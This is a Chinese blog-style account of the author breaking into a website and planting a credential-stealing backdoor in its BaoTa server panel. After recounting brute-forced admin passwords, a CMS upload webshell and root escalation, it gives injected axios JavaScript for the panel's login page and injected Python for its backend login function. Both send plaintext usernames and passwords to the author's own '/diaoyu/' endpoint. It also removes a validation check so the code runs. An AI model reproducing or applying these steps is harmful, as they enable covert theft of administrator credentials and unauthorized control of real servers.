最近对一个非法网站进行了渗透,前期通过弱密码爆破成功进入后台管理系统。最后成功通过某些cms文件上传漏洞拿到webll,然后成功提权至ROOT权限。但是仅仅只是拿到一台主机的权限仅仅是不够的,拥有者的安全防范能力也很足,mysql里全是默认的密码,宝塔的密码也和管理后台的密码不一样。后面我就想尽办法去窃取作者的宝塔密码。
起初,我预先创建一个django后端接口,想直接通过ajax请求来窃取输入的账号和密码然后转发至我的接口。
后端接口:先将目标的domain,user,pwd接受然后储存至数据库
简单的后端接口
通过修改宝塔的/www/server/panel/BTPanel/templates/default/login.html 文件。使用户在输入密码时发送ajax请求给我的服务器。
我们先在线导入axios库,然后使用axios库发送ajax请求
现在html头部导入axios库
<script src="https://cdn.bootcdn.net/ajax/libs/axios/0.24.0/axios.min.js"></script>
很快我们就可以找到 from_validation 函数,很明显 username,password就是用户输入的明文账号和明文密码。
先创建一个变量opwd储存用户输入的密码
我尝试将目标的明文账号和明文密码发送至我设置好的接口。
axios.post('http://xx.xxx.xxx.xxx:8000/diaoyu/',{
params:{
url:'view-source:http://xxx.xx.xxx.xxx:8888/xxxx/',
pwd:opwd,
user:username
}
}).then(respone=>{
if(respone.status>=300){
console.log("error")
}
else{
console.log("success!")
}
});
原本想高高兴兴等待吃西瓜,没有想到ajax请求居然发送不出去
为什么ajax发布出去呢?因为浏览器的同源策略。下面时同源策略的简述
同源策略是一个重要的安全策略,它用于限制一个源的文档或者它加载的脚本如何能与另一个源的资源进行交互。
它能帮助阻隔恶意文档,减少可能被攻击的媒介。例如,它可以防止互联网上的恶意网站在浏览器中运行 JS 脚本,从第三方网络邮件服务(用户已登录)或公司内网(因没有公共 IP 地址而受到保护,不会被攻击者直接访问)读取数据,并将这些数据转发给攻击者。
于是我就想办法绕过同源策略。在网上找了很多方法都绕过失败了。
前端不行我们还有后端,于是我开始找宝塔的后端接口,想通过后端接口来接受账号密码并保存。
有一说一,宝塔的后端接口是真的难找。我找了好久才找到后端登入接口的位置。
宝塔的后端登入接口位置在/www/server/panel/class/userlogin.py 文件里 很明显这个request_post 函数就是验证登入函数。
找到登入函数后 我们先修改前端的login.html文件,将明文密码和账号以明文的形式传到后端接口。
然后我们修改宝塔的后端接口,使用python 发送请求给我们之前设置好的接口。
现在开头导入requests包
import requests as req
将下面python代码段加入到request_post函数里
domain = post.domain
pwd = post.pwd
user = post.user
req.post(url='http://ip/diaoyu/',data={
"domain": domain,
"user": user,
"pwd": pwd
})
然后尝试登入宝塔看一下结果。很遗憾,宝塔登入时候有一个参数个数监测机制。导致代码不能正常执行。
既然宝塔有这个参数个数检查代码,我们就找到检查代码的位置把他删掉即可。我在userlogin.py搜索"多余参数显示到无结果“。开始我还没有想到可以全局搜索,还在那里傻傻的一个一个文件搜,导致我搜索了好久。后面想到用全局搜索后 我先把calss文件全部下载到本地,然后打开vscode 使用CTRL+SHIFT+F 经行全局搜索。发现改文件夹里 没有改字段。接着我在下载BTPanel文件夹,继续全局搜索。终于找到了这个字段的位置,点击调转至该代码段。
删除掉这一段代码即可。然后重启宝塔尝试登入。
登入后去我的数据库看看有没有结果
可以看到数据库新增了一条数据。最后我们只需要等待受害者登入宝塔即可获取它的正确口令了